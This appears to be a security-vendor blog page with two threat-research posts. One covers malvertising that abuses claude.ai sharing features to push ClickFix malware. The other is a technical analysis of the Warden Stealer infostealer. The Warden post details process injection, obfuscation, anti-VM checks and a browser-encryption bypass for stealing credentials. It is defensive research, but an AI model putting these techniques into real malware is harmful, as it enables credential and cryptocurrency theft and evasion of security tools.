Threat Analysis Engineer at Gen

Threat research and malware analysis

Threat Research

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Analysis Engineer

Research

We found a fake “Download Claude” page, and one thing about it was unusual: the web address was real. The page was hosted on claude.ai, which is Anthropic’s own domain. It had Claude’s branding and what looked like simple instructions to install the desktop application. The attackers even paid for Google ads to send people there.Anthropic, of course, never published such instructions. The attackers used Claude’s features for sharing conversations and Artifacts, and through them they placed malicious content on the real website. The page did not offer any installer. Instead, it told visitors to copy a command and paste it into the Terminal on their Mac. Everybody who followed these steps installed Atomic macOS Stealer (AMOS) — a malware that is made to steal passwords, browser sessions, cryptocurrency wallets and other sensitive data.Our analysis found one more unpleasant thing. The malware can also replace the legitimate Ledger and Trezor desktop applications with modified versions. Later these fake versions ask the user to type the wallet recovery phrase, and this gives the attackers everything they need to take the victim’s cryptocurrency.And this wasn't limited to macOS. We identified another campaign using Claude's sharing features and Google Ads to target Windows users. The installation instructions were different, as was the malware being delivered, but the approach was essentially the same.Neither campaign required compromising Anthropic's infrastructure or registering a convincing imitation of its domain. The attackers simply took advantage of features available to ordinary Claude users, turning legitimate content-sharing functionality into a way to distribute malware.<h2>When the scam lives on the real domain</h2>Most phishing and scam campaigns depend on small details that the visitor is supposed to not notice — a domain name with a typo, a strange top-level domain, a missing padlock.This campaign removes all of that. The fake “Download Claude” page is real user-generated content hosted on claude.ai, and it is served in two ways: as a Shared Chat (claude[.]ai/share/…) and as a public Artifact (claude[.]ai/artifact/…). Both of them are normal Claude features for sharing content.&nbsp;MALICIOUS — the fake “Download Claude” page hosted as a claude.ai Artifact

LEGITIMATE — the real download page at claude.com/download

The platform marks the content correctly as unverified, but the domain still looks very trustworthy. On the Artifact page the only warning is a thin banner with the text “Content is user-generated and unverified.” Everything else — the domain, the padlock, the branding — looks genuine, and the attackers count exactly on this.<h2>Scam at the very top</h2>You do not find these pages by accident. The links we analyzed contained Google Ads tracking parameters (gclid, gad_campaignid). This means the attackers paid for advertising to push their malicious pages to the top of the search results — a technique that is called malvertising. In the same cluster we found several different Artifacts connected to two different ad campaigns, so this was a funded and rotating operation, not a single case.The same payload was delivered also through a Shared Chat — a fake “Claude Code on Mac” conversation. Claude puts even a disclaimer on it (“Content may include unverified or unsafe content that does not represent the views of Anthropic”), but the lure is placed right under it.

The lesson for users is unpleasant but simple: the first search result, and especially a sponsored one, is not a sign of safety. Attackers can buy their way to the top, and they do it.<h2>The command you paste yourself</h2>Here the attack becomes clever. The fake page does not really give you an application to download. Instead it shows a nice box called “Install on macOS — Quick install via Terminal” and takes you through four friendly steps: open Terminal, click a Copy button, paste, and press Enter.

This family of tricks is called ClickFix, and even though it has been here for a while, it remains popular with attackers as it avoids many defenses in a simple way:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e0cbd31935e1c7595a3d9fe6431f95953">Nothing suspicious is really “downloaded.” You copy some text and you run it yourself.</li><li class="ck-list-marker-bold" data-list-item-id="ed003f05ab4feaaf79055c64434639024">You are the one who runs it. The command starts a chain of scripts that are downloaded from the attacker’s server, but for the operating system it looks like you typed it.</li><li class="ck-list-marker-bold" data-list-item-id="e659ccd39d70f4d47697b4f8d3d876653">The command is scrambled on purpose. What you get on your clipboard is an obfuscated one-liner that hides the attacker’s address inside an encoded blob. So even a curious user sees only gibberish and not a suspicious URL.</li></ul>The most useful habit you can build is one: never paste into your Terminal a command that you did not write yourself. No legitimate application — not Claude and not anything else — needs you to run a cryptic one-liner to be installed.<h2>The theft begins</h2>The moment you paste the command into your Terminal and press Enter, a chain of several stages runs completely in the background:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e5e30139718460616724f21dd812ee6cb">A loader script is downloaded from the attacker’s server and it unpacks a second script.</li><li class="ck-list-marker-bold" data-list-item-id="eb8f50c6940661ee2f7a9486df6524399">This second script downloads the main payload — an AppleScript-based infostealer from the Atomic macOS Stealer (AMOS) family — and runs it.</li><li class="ck-list-marker-bold" data-list-item-id="e5b03026e0fc3672a45add2968e58e08b">The stealer starts its work.</li></ul>

Before the stealer can take anything, it needs Full Disk Access. If it does not have this access, it does not start to steal. Instead it shows a fake macOS “Full Disk Access required” message and quietly adds a line to the shell startup file, so the malware starts again the next time you open the Terminal. In this way it simply waits until it gets the access it needs. Once it has the access, the stealer shows a familiar dialog: a fake macOS “System Preferences” password prompt. It looks native and it does not go away until you type a password that really works. After you type it, the malware has your login password in cleartext, and it keeps it.After this it harvests, fast and quietly: Passwords and session cookies from Chromium and Gecko based browsers along with Keychain keys it needs to decrypt saved logins, crypto wallets both browser-extension and desktop applications and also files that usually hold secrets, private or otherwise interesting data such as with .pdf, .docx, .key, .seed or .pem, .wallet, or .ovpn extensions.All the collected data is packed into a ZIP file and uploaded to the attacker’s server. After the upload the stealer deletes its temporary files, so it leaves less trace behind.<h2>Fake wallet apps</h2>When the stealer sees that Ledger Live, Ledger Wallet, or Trezor Suite is installed, it downloads a trojanized copy of this application from the attacker and puts it over the real one. The modified application looks and works like a normal one.The trap activates later. The next time when you open your wallet, a convincing screen asks you to “restore” or “validate” your recovery phrase (for Trezor it even shows a fake progress animation: “Reading device info… Validating seed phrase… Almost there”). The words that you type go directly to a second attacker server — a different domain than the one which delivered the malware, and it is built only to collect seed phrases.Those words are your money. Anybody who has them can empty every wallet that is derived from them, immediately and without any way back.&nbsp;<h2>The same trick comes to Windows</h2>We also identified a separate campaign targeting Windows users. But the method does not really care about the operating system, and we found a second campaign on claude.ai that works in exactly the same way — only the victim and the final malware are different.The lure is again a page that lives on the real domain. This time it is an Artifact with the title “Install Claude on Windows”, and it is pushed in the same way: the link carries Google Ads parameters (gclid, gad_campaignid), so the attackers again paid to place it high in the search results. The page shows the Claude logo, a friendly “Three quick steps and you’re done”, and the same thin “Content is user-generated and unverified” banner on the top that almost nobody reads.

What changes is the ClickFix itself. On the Mac the victim is sent to the Terminal. On Windows the page asks you to press Win + R (this opens the Run dialog), then Ctrl + V to paste, and Enter to run. No Terminal, no file to download — only three keys, and the attack starts.What you paste is a PowerShell command, and it is malicious from the first character — there is no installer in it at all. To look harmless while it runs, it first prints a big “SYSTEM” banner and calm messages like “Challenge in progress, this won’t take long… 50% done… 70% done… Challenge completed.” For the victim it looks like a normal verification step.&nbsp;That script reaches out to GitHub. The attackers put their next stage on a github.io page, so once more a trusted name carries the malware. The file downloaded looks like an ordinary script, but inside it carries the&nbsp; .NET payload, packed and encrypted.&nbsp;<h2>The final payload</h2>The final payload is a heavily obfuscated .NET executable.&nbsp;The behavior however, is clear enough. The malware hides itself by injecting its code into a normal Windows process, so in the task list nothing looks wrong. It checks which antivirus is present, it takes screenshots of the desktop, and it reads the title of the window where the user is working. It also opens a connection to a server of the attacker and keeps it — which means the operator can send more commands later. This is the behavior of a remote-access tool, not of a simple program that steals once and goes away.And it goes after cryptocurrency. The malware searches the infected computer for crypto wallets — desktop applications like Electrum, Exodus, Ethereum, Bitcoin and Ledger, and also wallet extensions inside the browser.Two campaigns, two operating systems, two different pieces of malware — but one and the same front door: a page on claude.ai that looks official, pushed by paid ads, asking the user to run a single command they did not write.<h2>Why this goes beyond Claude</h2>Attackers have been abusing legitimate websites to distribute malware for years. What makes this case interesting is how easily Claude's sharing features could be used to create something that looked like an official software download page, without compromising Anthropic's infrastructure.Claude is unlikely to be the last AI service targeted this way. As more platforms allow users to publish and share content, attackers have more opportunities to exploit the reputation of those services. The challenge for platform operators is finding ways to prevent that abuse without making legitimate sharing unnecessarily difficult.For users, the distinction is worth remembering. A genuine website address tells you where content is hosted, but it doesn't necessarily tell you who created it or whether you should trust it.<h2>How to protect yourself</h2><ul type="disc"><li data-list-item-id="edfc88eb7579f843c82adc66243e061d1">Never paste into Terminal (or PowerShell) a command that you did not write yourself. This one habit defeats the whole ClickFix family.&nbsp;</li><li data-list-item-id="ec967e55d9b60bb6691b024d2a95e2d15">Download software from the main site of the vendor — and type the address yourself or use a bookmark. The real download page of Claude is claude.com/download. Do not trust the search results, and be extra careful with sponsored ads.</li><li data-list-item-id="e55f655cf2bb6e06bc90158a0d59c4af7">Treat the “user-generated / unverified” labels as a stop sign. If a “download” or “install” page lives on a sharing or artifact URL and not on the own product site of the company, leave it.</li><li data-list-item-id="e6e92b09b36cd54ff7d342e668284ddba">Never type your wallet recovery phrase into software that asks for it unexpectedly. The seed entry happens on the hardware device. A “restore/validate your phrase” prompt inside the app is theft.</li><li data-list-item-id="edccf837b687961a074f5261a4b687f87">Keep a reputable security software turned on. It blocks the known command-and-control servers and detects this behaviour.</li><li data-list-item-id="e4e8607ff0369cb902840b9d76a86cd36">If you think that you already ran something like this, expect a full compromise. From a different, clean device, change every important password (email, banking and crypto exchanges first), log out from all sessions, and turn on multi-factor authentication. For crypto, move the funds to a wallet that is created from a completely new recovery phrase, and reinstall the wallet applications only from the official vendor.</li></ul>

Two malware campaigns exploit Claude's content-sharing features and Google Ads to trick users into running malicious commands. 

How Criminals Abuse Claude’s Own Website to Spread Malware 

Threat Researcher at Gen

Threat Research Team Lead

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

